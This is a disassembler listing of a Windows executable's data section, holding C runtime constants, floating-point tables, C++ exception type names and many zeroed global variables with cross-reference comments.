dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D4C0 dd 3 ; DATA XREF: ___:0042354Fr
; sub_425C06+C8r
dword_43D4C4 dd 7 ; DATA XREF: ___:00423555r
; sub_425C06+CDr
dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r
; sub_425D33+4r
dword_43D4CC dd 8Ch ; DATA XREF: ___:00423579r
; ___:00423586w ...
dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o
; sub_41FE2A:loc_41FEE7o
dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo
; sub_423DD1+28r
off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
; sub_423DD1+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h
dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
dd 0FFh, 427940h
off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo
; sub_42413E+55o
align 10h
dd offset dword_4DC020
dd 101h
dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o
dd 1000h, 0
dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o
; sub_420CE6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o
; sub_420CE6:loc_420D04o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo
dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o
dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r
; sub_4218B4+46r
align 8
dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo
dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42600E+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4 dd offset off_427CEC ; DATA XREF: ___:00427EC4o
; ___:00427FB0o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43DAFC dd offset off_427CEC ; DATA XREF: ___:off_427D78o
; ___:00427DB8o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43DB1C dd offset off_427CEC ; DATA XREF: ___:off_427DC0o
; ___:00427E04o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43DB3C dd offset off_427CEC ; DATA XREF: ___:off_427E0Co
; ___:00427E50o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43DB60 dd offset off_427CEC ; DATA XREF: ___:off_427E58o
; ___:00427E94o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_424F1C
align 10h
dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o
; ___:0040146Eo ...
align 10h
dword_43DB90 dd 0 ; DATA XREF: ___:004015B0o
; sub_401ACD+AECo ...
dd 5 dup(0)
dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r
; sub_415C40+60r
dd 2D9h dup(0)
dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr
; sub_401ACD+5E61r ...
dd 7Fh dup(0)
dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w
; sub_40B4F5+40w ...
dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w
; sub_40B4F5+46w ...
dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w
; sub_40B4F5+3Ar ...
dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r
; sub_40B6D6+2Aw ...
dword_43E924 dd 0 ; DATA XREF: ___:004015FFw
; ___:00401677w ...
byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5CD7r ...
align 4
dd 1B89h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043492Co
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:004385C0o
dword_450050 dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_43902Co
dd 0E306h dup(0)
dword_49005C dd 5156h dup(0) ; DATA XREF: ___:off_432948o
db 3 dup(0)
byte_4A45B7 db 0 ; DATA XREF: sub_562ABA:loc_5689DCo
dd 4227h dup(0)
db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43165Co
dd 0FBh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438E98o
dd 5932h dup(0)
dword_4CB710 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B3BA+13o ...
dword_4CB714 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401ACD:loc_404494r ...
dword_4CB718 dd 0 ; DATA XREF: ___:loc_4016FFo
dword_4CB71C dd 20h dup(0) ; DATA XREF: ___:004016B6o
; ___:00401750o ...
dword_4CB79C dd 10h dup(0) ; DATA XREF: ___:004016CCo
dword_4CB7DC dd 24h dup(0) ; DATA XREF: ___:004016E3o
dword_4CB86C dd 0 ; DATA XREF: ___:004016D7w
; ___:00401767w ...
dword_4CB870 dd 0 ; DATA XREF: ___:004016F6w
align 10h
byte_4CB880 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB884 dd 0 ; DATA XREF: ___:00401704w
; ___:0040171Br ...
dword_4CB888 dd 0 ; DATA XREF: ___:004016BBw
; sub_401ACD+8A2r
word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo
; ___:0040AFA9o ...
align 10h
dword_4CB890 dd 0 ; DATA XREF: sub_409909+4A7w
; sub_409909+4EBr
dword_4CB894 dd 0 ; DATA XREF: sub_409909+65w
; sub_419C09+166r
dword_4CB898 dd 0 ; DATA XREF: sub_409909+80Bw
; sub_409909+880r ...
dword_4CB89C dd 0 ; DATA XREF: sub_409909+9D8w
; sub_409909+A43r ...
dword_4CB8A0 dd 0 ; DATA XREF: sub_409909+98Aw
; sub_409909+A13r ...
dword_4CB8A4 dd 0 ; DATA XREF: sub_409909+48Dw
; sub_409909+4DBr
dword_4CB8A8 dd 0 ; DATA XREF: sub_409909+213w
; sub_409909+234r
dword_4CB8AC dd 0 ; DATA XREF: sub_409909+9CBw
; sub_409909+A3Br ...
dword_4CB8B0 dd 0 ; DATA XREF: sub_409909+372w
; sub_409909+3C7r ...
dword_4CB8B4 dd 0 ; DATA XREF: sub_409909+40Fw
; sub_41AF8F+11Er
dword_4CB8B8 dd 0 ; DATA XREF: sub_409909+37Fw
; sub_409909+3CFr ...
dword_4CB8BC dd 0 ; DATA XREF: sub_409909+3C0w
; sub_4191DB+ADr
dword_4CB8C0 dd 0 ; DATA XREF: sub_409909+55Aw
; sub_40FAD6+115r ...
dword_4CB8C4 dd 0 ; DATA XREF: sub_409909+72w
; sub_409909+D2r ...
dword_4CB8C8 dd 0 ; DATA XREF: sub_409909+97Dw
; sub_409909+A06r ...
dword_4CB8CC dd 0 ; DATA XREF: sub_409909+3A6w
; sub_409909+3E7r ...
dword_4CB8D0 dd 0 ; DATA XREF: sub_409909+859w
; sub_409909+8ACr ...
dword_4CB8D4 dd 0 ; DATA XREF: sub_409909+2A5w
; sub_409909+2F0r
dword_4CB8D8 dd 0 ; DATA XREF: sub_409909+84Cw
; sub_409909+8A4r ...
dword_4CB8DC dd 0 ; DATA XREF: sub_409909+B3w
dword_4CB8E0 dd 0 ; DATA XREF: sub_409909+866w
; sub_409909+8B4r ...
dword_4CB8E4 dd 0 ; DATA XREF: sub_409909+54Dw
; sub_409909+6D0r ...
dword_4CB8E8 dd 0 ; DATA XREF: sub_409909+58w
; sub_409909+CAr ...
dword_4CB8EC dd 0 ; DATA XREF: sub_409909+934w
dword_4CB8F0 dd 0 ; DATA XREF: sub_401ACD:loc_403ECBr
; sub_409909+A95w ...
dword_4CB8F4 dd 0 ; DATA XREF: sub_409909+A6w
; sub_409909+F2r
dword_4CB8F8 dd 0 ; DATA XREF: sub_409909+480w
; sub_409909+4D3r
dword_4CB8FC dd 0 ; DATA XREF: sub_409909+5F6w
; sub_40C267+20r
dword_4CB900 dd 0 ; DATA XREF: sub_409909+9BEw
; sub_409909+A33r
dword_4CB904 dd 0 ; DATA XREF: sub_409909+5E9w
; sub_409909+754r ...
dword_4CB908 dd 0 ; DATA XREF: sub_409909+A0Cw
dword_4CB90C dd 0 ; DATA XREF: sub_409909+B50w
; sub_40DC41+9Ar
dword_4CB910 dd 0 ; DATA XREF: sub_409909+7FEw
; sub_409909+86Dr ...
dword_4CB914 dd 0 ; DATA XREF: sub_409909+1B3w
; sub_40B5B5+3Do ...
dword_4CB918 dd 0 ; DATA XREF: sub_409909+997w
; sub_409909+A1Br ...
dword_4CB91C dd 0 ; DATA XREF: sub_409909+38Cw
; sub_409909+3D7r ...
dword_4CB920 dd 0 ; DATA XREF: sub_409909+399w
; sub_409909+3DFr ...
dword_4CB924 dd 0 ; DATA XREF: sub_409909+C85w
; sub_409909+C8Cr
dword_4CB928 dd 0 ; DATA XREF: sub_409909+6ACw
; ___:00411290r
dword_4CB92C dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB930 dd 0 ; DATA XREF: sub_409909+4B4w
dword_4CB934 dd 0 ; DATA XREF: sub_409909+9E5w
; sub_409909+A4Br ...
dword_4CB938 dd 0 ; DATA XREF: sub_401000+51r
; sub_409909+2B2w ...
dword_4CB93C dd 0 ; DATA XREF: sub_409909+7Fw
; sub_409909+DAr ...
dword_4CB940 dd 0 ; DATA XREF: sub_401ACD+5840r
; sub_401ACD+781Er ...
dword_4CB944 dd 0 ; DATA XREF: ___:004012ADr
; sub_401ACD+5037r ...
dword_4CB948 dd 0 ; DATA XREF: sub_409909+825w
; sub_409909+890r ...
dword_4CB94C dd 0 ; DATA XREF: sub_409909+9A4w
; sub_409909+A23r
dword_4CB950 dd 0 ; DATA XREF: sub_409909+C0Ew
; sub_409909+C3Fr
dword_4CB954 dd 0 ; DATA XREF: sub_409909+2CCw
; sub_418A2E+47r
dword_4CB958 dd 0 ; DATA XREF: sub_409909+22Dw
dword_4CB95C dd 0 ; DATA XREF: sub_409909+91Aw
; sub_409909+92Er
dword_4CB960 dd 0 ; DATA XREF: sub_409909+C28w
dword_4CB964 dd 0 ; DATA XREF: sub_409909+2D9w
; sub_418A2E+4Fr
dword_4CB968 dd 0 ; DATA XREF: sub_409909+574w
; sub_409909+6E8r ...
dword_4CB96C dd 0 ; DATA XREF: sub_409909+83Fw
; sub_409909+873r
dword_4CB970 dd 0 ; DATA XREF: sub_409909+220w
; sub_409909+23Cr
dword_4CB974 dd 0 ; DATA XREF: sub_409909+172w
; sub_409909+1C2r
dword_4CB978 dd 0 ; DATA XREF: sub_401ACD+1DCEr
; sub_401ACD+59F9r ...
dword_4CB97C dd 0 ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+50C1r ...
dword_4CB980 dd 0 ; DATA XREF: sub_409909+567w
; sub_409909+6DCr ...
dword_4CB984 dd 0 ; DATA XREF: sub_409909+8DBw
; sub_409909:loc_40A202w ...
dword_4CB988 dd 0 ; DATA XREF: sub_401000+26r
; sub_409909+28Bw ...
dword_4CB98C dd 0 ; DATA XREF: sub_401ACD+77AFr
; sub_409909+69Fw ...
dword_4CB990 dd 0 ; DATA XREF: sub_409909+32Dw
; sub_409909+341r ...
dword_4CB994 dd 0 ; DATA XREF: sub_409909+3B3w
; sub_409909+3EFr ...
dword_4CB998 dd 0 ; DATA XREF: sub_409909+C01w
; sub_409909+C37r
dword_4CB99C dd 0 ; DATA XREF: sub_409909+818w
; sub_409909+888r ...
dword_4CB9A0 dd 0 ; DATA XREF: sub_409909+206w
; sub_409909+227r
dword_4CB9A4 dd 0 ; DATA XREF: sub_409909+18Cw
; sub_409909+1D2r ...
dword_4CB9A8 dd 0 ; DATA XREF: sub_409909+832w
; sub_409909+898r ...
dword_4CB9AC dd 0 ; DATA XREF: sub_409909+624w
; sub_409909+774r
dword_4CB9B0 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_409909+2BFw ...
dword_4CB9B4 dd 0 ; DATA XREF: sub_409909+66Bw
; sub_409909+79Cr ...
dword_4CB9B8 dd 0 ; DATA XREF: sub_409909+320w
; sub_409909+334r ...
dword_4CB9BC dd 0 ; DATA XREF: sub_409909+644w
; sub_409909+784r ...
dword_4CB9C0 dd 0 ; DATA XREF: sub_409909+44Cw
; sub_409909+4AEr
dword_4CB9C4 dd 0 ; DATA XREF: sub_409909+199w
; sub_409909+1DAr ...
dword_4CB9C8 dd 0 ; DATA XREF: sub_409909+365w
; sub_409909+3BAr ...
dword_4CB9CC dd 0 ; DATA XREF: sub_409909+AA2w
dword_4CB9D0 dd 0 ; DATA XREF: sub_409909+5DCw
; sub_409909+748r ...
dword_4CB9D4 dd 0 ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5073r ...
dword_4CB9D8 dd 0 ; DATA XREF: sub_409909+4Bw
; sub_409909+C2r ...
dword_4CB9DC dd 0 ; DATA XREF: sub_409909+473w
; sub_409909+4CBr
dword_4CB9E0 dd 0 ; DATA XREF: sub_409909+165w
; sub_409909+1BAr ...
dword_4CB9E4 dd 0 ; DATA XREF: sub_409909+9FFw
; sub_409909+A5Br ...
dword_4CB9E8 dd 0 ; DATA XREF: sub_409909+685w
; sub_409909+7ACr ...
dword_4CB9EC dd 0 ; DATA XREF: sub_401955+D1r
; sub_401ACD+50D6r ...
dword_4CB9F0 dd 0 ; DATA XREF: sub_409909+C1Bw
; sub_409909+C47r
dword_4CB9F4 dd 0 ; DATA XREF: sub_409909+3Ew
; sub_409909+BAr ...
dword_4CB9F8 dd 0 ; DATA XREF: sub_401000+45r
; sub_409909+298w ...
dword_4CB9FC dd 0 ; DATA XREF: sub_409909+651w
; sub_409909+78Cr ...
dword_4CBA00 dd 0 ; DATA XREF: sub_409909+637w
; sub_409909+77Cr ...
dword_4CBA04 dd 0 ; DATA XREF: sub_409909+C92w
dword_4CBA08 dd 0 ; DATA XREF: sub_409909+879w
; ___:00416C7Cr ...
dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w
dword_4CBA10 dd 0 ; DATA XREF: sub_409909+BE7w
; sub_409909+C22r
dword_4CBA14 dd 0 ; DATA XREF: sub_401ACD+2F9Br
; sub_401ACD+5EB8r ...
dword_4CBA18 dd 0 ; DATA XREF: sub_409909+459w
; sub_409909+4BBr
dword_4CBA1C dd 0 ; DATA XREF: sub_409909+49Aw
; sub_409909+4E3r
dword_4CBA20 dd 0 ; DATA XREF: sub_409909+466w
; sub_409909+4C3r
dword_4CBA24 dd 0 ; DATA XREF: sub_401955+89r
; sub_401ACD+50F3r ...
dword_4CBA28 dd 0 ; DATA XREF: sub_409909+1A6w
; sub_409909+1E2r ...
dword_4CBA2C dd 0 ; DATA XREF: sub_409909+9F2w
; sub_409909+A53r ...
dword_4CBA30 dd 0 ; DATA XREF: sub_409909+158w
; sub_409909+1ADr ...
dword_4CBA34 dd 0 ; DATA XREF: sub_409909+8Cw
; sub_409909+E2r ...
dword_4CBA38 dd 0 ; DATA XREF: sub_409909+610w
; sub_409909+764r ...
dword_4CBA3C dd 0 ; DATA XREF: sub_409909+B43w
; sub_409909+B5Fr
dword_4CBA40 dd 0 ; DATA XREF: sub_409909+33Aw
; sub_419B9E+55r
dword_4CBA44 dd 0 ; DATA XREF: sub_409909+27Ew
; sub_409909+2D3r ...
dword_4CBA48 dd 0 ; DATA XREF: sub_409909+BAAw
dword_4CBA4C dd 0 ; DATA XREF: sub_409909+AECw
; sub_40A928+CEr
dword_4CBA50 dd 0 ; DATA XREF: sub_409909+ADFw
; sub_409909+AE6r ...
dword_4CBA54 dd 0 ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5052r ...
dword_4CBA58 dd 0 ; DATA XREF: sub_401ACD+5044r
; sub_401ACD+77D6r ...
dword_4CBA5C dd 0 ; DATA XREF: sub_409909+BF4w
; sub_409909+C2Fr
dword_4CBA60 dd 0 ; DATA XREF: sub_401ACD+1DF4r
; sub_401ACD+5A1Fr ...
dword_4CBA64 dd 0 ; DATA XREF: sub_409909+9B1w
; sub_409909+A2Br ...
dword_4CBA68 dd 0 ; DATA XREF: sub_409909+65Ew
; sub_409909+794r ...
dword_4CBA6C dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CBA70 dd 0 ; DATA XREF: sub_409909+59Bw
; sub_409909+70Cr ...
dword_4CBA74 dd 0 ; DATA XREF: sub_409909+B36w
; sub_409909+B57r ...
dword_4CBA78 dd 0 ; DATA XREF: sub_409909+540w
; sub_409909+6C4r ...
dword_4CBA7C dd 0 ; DATA XREF: sub_409909+B29w
; sub_409909+B4Ar
dword_4CBA80 dd 0 ; DATA XREF: ___:00401273r
; sub_409909+31w ...
dword_4CBA84 dd 0 ; DATA XREF: sub_409909+17Fw
; sub_409909+1CAr
dd 0
dword_4CBA8C dd 0 ; DATA XREF: sub_409909+927w
; sub_409909+93Br
dword_4CBA90 dd 0 ; DATA XREF: sub_409909+99w
; sub_409909+EAr ...
dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w
; sub_409909+12Bw ...
dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w
; sub_40A5C5+1Cr
dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w
; sub_409909:loc_409B5Ew ...
dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w
; sub_40A5C5+50r
dword_4CBAA4 dd 0 ; DATA XREF: ___:0040156Ar
; sub_401ACD+4468r ...
dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew
; sub_40A5C5+84r
dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw
; sub_40A5C5:loc_40A675r
dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw
; sub_40A5C5+B8r
dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw
; sub_40A5C5:loc_40A6A9r
dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w
; sub_40A5C5+ECr
dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w
; sub_409909+8EFw ...
dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw
; sub_40A5C5+120r
dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r
; sub_409909:loc_40A25Dw ...
dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw
; sub_40A5C5+154r
dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r
; sub_409909:loc_40A379w ...
dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw
; sub_40A5C5+188r
dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w
; sub_40A5C5:loc_40A779r
dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w
; sub_40A5C5+1BCr
dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw
; sub_40A5C5:loc_40A7ADr
dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw
; sub_40A5C5+1F0r
dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w
; sub_40A5C5:loc_40A7E1r
dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w
; sub_40A5C5+224r
dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw
; sub_40A5C5:loc_40A815r
dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw
; sub_40A5C5+258r
dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w
; sub_40A5C5:loc_40A849r
dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw
; sub_40A5C5+28Cr
dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w
; sub_40A5C5:loc_40A87Dr
dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w
; sub_40A5C5+2C0r
dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o
byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar
; sub_40B2B3+98w
align 10h
dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r
; sub_40C2AF+92w ...
dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr
; sub_40C3E8+2F1w ...
dd 7FEh dup(0)
dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o
; sub_40C3E8+13Bo ...
dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w
; sub_40BD91+348o
dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew
; sub_40BD91+35Ar
dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw
dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w
; sub_40BD91:loc_40C0A6r
dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o
; sub_40BD91+302o
dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw
; sub_40BD91+30Fw
dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r
align 8
dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w
; sub_40BD91+101o
dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o
dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o
dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w
; sub_40BD91+113r
dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w
dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw
; sub_40BD91+D4r
dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao
; sub_40BD91+BAo
dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw
dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w
; sub_40BD91+C7w
dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr
align 10h
dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w
; sub_40BD91+225o
dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o
dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co
dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw
; sub_40BD91+237r
dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw
dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w
; sub_40BD91+1F8r
dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo
; sub_40BD91+1DEo
dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w
dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw
; sub_40BD91+1EBw
dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr
align 8
dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w
; sub_40BD91+470o
dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o
dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw
; sub_40BD91+423r
align 10h
dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w
; sub_40BD91+482r
dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w
dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w
dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w
dd 0
dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r
dd 0
dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er
; sub_40B9DD+32r
dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r
; sub_40B9DD+26r
dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do
dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o
dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8 dd 0 ; DATA XREF: ___:0040EEF0r
dd 0
dd 0
dword_4CE704 dd 0 ; DATA XREF: ___:0040EEC3r
dword_4CE708 dd 0 ; DATA XREF: ___:0040EEA5r
; ___:0040EF0Er
align 10h
dword_4CE710 dd 0 ; DATA XREF: sub_40BD91+2AEr
align 8
dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr
dword_4CE71C dd 0 ; DATA XREF: ___:0040F9E9w
; ___:0040FA10r ...
dd 3 dup(0)
dword_4CE72C dd 0 ; DATA XREF: ___:00411306r
dd 0
dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w
; sub_412EDD+9o
dd 10Ah dup(0)
dword_4CEB60 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F25o
; sub_401ACD:loc_404A7Bo
dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w
; sub_401ACD+2F1Dr ...
dd 11Ch dup(0)
dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do
; sub_415DD8o ...
dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o
; sub_415DD8+Eo ...
dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo
dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o
dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o
; sub_41761C+DDo ...
dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o
; sub_41761C+F4o ...
db 2 dup(0)
